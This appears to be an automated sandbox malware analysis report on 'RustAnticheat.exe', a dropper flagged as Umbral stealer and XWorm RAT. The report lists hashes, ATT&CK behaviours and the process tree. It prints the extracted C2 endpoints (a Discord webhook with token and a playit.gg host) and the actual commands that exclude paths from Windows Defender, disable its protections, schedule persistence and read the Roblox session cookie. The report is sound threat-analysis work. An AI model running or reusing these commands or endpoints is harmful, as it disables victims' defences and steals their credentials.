Analysis

  • max time kernel
    51s
  • max time network
    142s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-09-2024 12:43

General

  • Target

    RustAnticheat.exe

  • Size

    1.1MB

  • MD5

    6d63fe8c87e642d9e380a13803aa6858

  • SHA1

    5652877b527da6cec16dfa7e9653d3657fedea8b

  • SHA256

    066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8

  • SHA512

    32ad077db3f44cd184f60a715464a0540615fee76cbb4de20c6a2703b1ef2a74391adfad0e77a4c3b2340f9bafbc18238445f19e7fcebf2c11e76e66376d000d

  • SSDEEP

    24576:Ucvup1OydVxYPtGU8ynaQpLUcgs5JTqzCZxGcQVyULZ6U6/:U/1OydfMrgsfX04KZ69/

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1286299751637192826/RNAV05TJwC7uQTEETo8ZiWSJKOrj5gYY87jlWomaK7jJ1jmuh7qm4pMjcc2ZUhDh6jxd

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe
    "C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1876
    • C:\Users\Admin\RuntimeBroker.exe
      "C:\Users\Admin\RuntimeBroker.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:728
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4016
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "RuntimeBroker"
        3⤵
          PID:4612
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8095.tmp.bat""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1628
          • C:\Windows\system32\timeout.exe
            timeout 3
            4⤵
            • Delays execution with timeout.exe
            PID:3620
      • C:\Users\Admin\RustAntich1eat.exe
        "C:\Users\Admin\RustAntich1eat.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2400
      • C:\Users\Admin\Umbral.exe
        "C:\Users\Admin\Umbral.exe"
        2⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2892
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\Umbral.exe"
          3⤵
          • Views/modifies file attributes
          PID:4468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Umbral.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4920
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3464
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2956
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
            PID:240
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:4156
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4664
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              3⤵
              • Detects videocard installed
              PID:4568
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Umbral.exe" && pause
              3⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of WriteProcessMemory
              PID:4248
              • C:\Windows\system32\PING.EXE
                ping localhost
                4⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:1944
        • C:\Users\Admin\AppData\Local\RuntimeBroker
          C:\Users\Admin\AppData\Local\RuntimeBroker
          1⤵
          • Executes dropped EXE
          PID:964

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          627073ee3ca9676911bee35548eff2b8

          SHA1

          4c4b68c65e2cab9864b51167d710aa29ebdcff2e

          SHA256

          85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

          SHA512

          3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          d0a4a3b9a52b8fe3b019f6cd0ef3dad6

          SHA1

          fed70ce7834c3b97edbd078eccda1e5effa527cd

          SHA256

          21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

          SHA512

          1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          4b92d741d003e8d1f0394874017a6fe9

          SHA1

          1a4bebc2637bce160dae38d4d0bfdeb6b398059d

          SHA256

          8c8532230d71f0818daebff0d2ab496b02c25bdaa7156701f663b5474ad876fc

          SHA512

          5c2e84b072314aaae414f98f7dbeb13e030561b53270803d0cf7a8c6ed59368dcfdc4666e69abef39fcac5b75968a1174aca501023297a276a219ed0464612c6

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          7332074ae2b01262736b6fbd9e100dac

          SHA1

          22f992165065107cc9417fa4117240d84414a13c

          SHA256

          baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

          SHA512

          4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          b95bea0e645f6de57d24b86919c5043d

          SHA1

          a618ae57d56da493177bfd7510e1507dce6382a7

          SHA256

          4d63dbe6465121136a77767bde1ddf6eeff1ce7c792272b9e6dd1732e6a49b1e

          SHA512

          73b28e62b6ff9eb38f495b3bb1a64812d0800a949b88b32516e3386e70a8ad4127245aa0bf07345950b3b357fc7e54a563ab5f9543e49245b0ec81656f60f0fc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          6e4f5276ac4827dac632cc228cc825fd

          SHA1

          0d151017975a1e91325649b5ef4a4cce043b81aa

          SHA256

          9b59dd2123e61507bc98c878acb6a41e307e60adbb0e9a2a301f194cf51cf27a

          SHA512

          ab487a017bb10c80ec466e3207cbecb4b9453d88a1af7f1b8a9f6698b55b0a1bf721d8a63757ada195bf87807a4180a88222eb0ee96929404aacca09ed4a67a1

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          e07eea85a8893f23fb814cf4b3ed974c

          SHA1

          8a8125b2890bbddbfc3531d0ee4393dbbf5936fe

          SHA256

          83387ce468d717a7b4ba238af2273da873b731a13cc35604f775a31fa0ac70ea

          SHA512

          9d4808d8a261005391388b85da79e4c5396bdded6e7e5ce3a3a23e7359d1aa1fb983b4324f97e0afec6e8ed9d898322ca258dd7cda654456dd7e84c9cbd509df

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          6f0e62045515b66d0a0105abc22dbf19

          SHA1

          894d685122f3f3c9a3457df2f0b12b0e851b394c

          SHA256

          529811e4d3496c559f3bd92cd877b93b719c3ac4834202aa76ab9e16e25f9319

          SHA512

          f78426df6032ee77f8c463446ab1c6bb4669ef7a2463dead831ec4ff83a07d7dc702d79372d8bcaf4594bf0fb6e11e9f027f3e0325de9b19be5f51b7b80ed54a

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l2r5ln5m.e0b.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmp8095.tmp.bat

          Filesize

          146B

          MD5

          2802d800fa3c9b2971efaf995eba33c6

          SHA1

          7541acf89ffe1be6c4592985d1d06c52781114f9

          SHA256

          c077aaab38081283eac307046846478390e10ee4fac634d4b50e6e2651cf13b0

          SHA512

          f1a2a87c69388debe81c325e1bd593844b0a15e2f6b1147d685af9e74e9238c6a53168654c13e9f687198fa60b4496d92185d93182d8b958e2ebc8996d7ad1f8

        • C:\Users\Admin\RuntimeBroker.exe

          Filesize

          84KB

          MD5

          98ccb6806d126e3a211b963d3341efd7

          SHA1

          108dfe1979c04c588f87d6fc2bb57c3ac10f6742

          SHA256

          11f00d48ecd890e9b8658c652a6283ead05dea9bcd641d89d0bd7f0f618f3cd2

          SHA512

          373caadac1ad290d60ea41663482946889ae9e0fea96115e21ba38d19d2bf6123c47501190c3fb33ef51aa07f6dbddc4eab43b82cbc008c4f83684707e1d3510

        • C:\Users\Admin\RustAntich1eat.exe

          Filesize

          827KB

          MD5

          eefb801774c5ccb44153268a9357f5f1

          SHA1

          b1906b22e14edd142c52808ab3e5ba9346b85de5

          SHA256

          677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

          SHA512

          1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

        • C:\Users\Admin\Umbral.exe

          Filesize

          230KB

          MD5

          4647720ef8607199527cb3b0bc793587

          SHA1

          0728b0cc0fc7e0a1a8ed14c0861f8757780e4163

          SHA256

          349bfc065bf0580379be8c6e0d0dca592deec1bfc104d8d28c70454436de6337

          SHA512

          906baf94232c9f76d193021345259d01e23d81b3d9a948067035979235fd45e739e89b8047148f61d2f210c40e561067a040100ccacebbf8921050f12a0281f8

        • memory/1876-0-0x00007FFDAEE53000-0x00007FFDAEE55000-memory.dmp

          Filesize

          8KB

        • memory/1876-1-0x0000000000AB0000-0x0000000000BD6000-memory.dmp

          Filesize

          1.1MB

        • memory/2400-94-0x0000000000D20000-0x0000000000DF6000-memory.dmp

          Filesize

          856KB

        • memory/2400-97-0x0000000008C00000-0x0000000008C0E000-memory.dmp

          Filesize

          56KB

        • memory/2400-96-0x0000000008C40000-0x0000000008C78000-memory.dmp

          Filesize

          224KB

        • memory/2908-93-0x00007FFDAEE50000-0x00007FFDAF912000-memory.dmp

          Filesize

          10.8MB

        • memory/2908-217-0x00007FFDAEE50000-0x00007FFDAF912000-memory.dmp

          Filesize

          10.8MB

        • memory/2908-124-0x0000023473FF0000-0x000002347400E000-memory.dmp

          Filesize

          120KB

        • memory/2908-158-0x000002345B640000-0x000002345B64A000-memory.dmp

          Filesize

          40KB

        • memory/2908-159-0x0000023474010000-0x0000023474022000-memory.dmp

          Filesize

          72KB

        • memory/2908-123-0x000002345B680000-0x000002345B6D0000-memory.dmp

          Filesize

          320KB

        • memory/2908-122-0x0000023474070000-0x00000234740E6000-memory.dmp

          Filesize

          472KB

        • memory/2908-90-0x0000023459800000-0x0000023459840000-memory.dmp

          Filesize

          256KB

        • memory/2908-221-0x00007FFDAEE50000-0x00007FFDAF912000-memory.dmp

          Filesize

          10.8MB

        • memory/4400-216-0x00007FFDAEE50000-0x00007FFDAF912000-memory.dmp

          Filesize

          10.8MB

        • memory/4400-86-0x0000000000C30000-0x0000000000C4C000-memory.dmp

          Filesize

          112KB

        • memory/4400-230-0x00007FFDAEE50000-0x00007FFDAF912000-memory.dmp

          Filesize

          10.8MB

        • memory/4400-92-0x00007FFDAEE50000-0x00007FFDAF912000-memory.dmp

          Filesize

          10.8MB

        • memory/4920-103-0x00000251A52E0000-0x00000251A5302000-memory.dmp

          Filesize

          136KB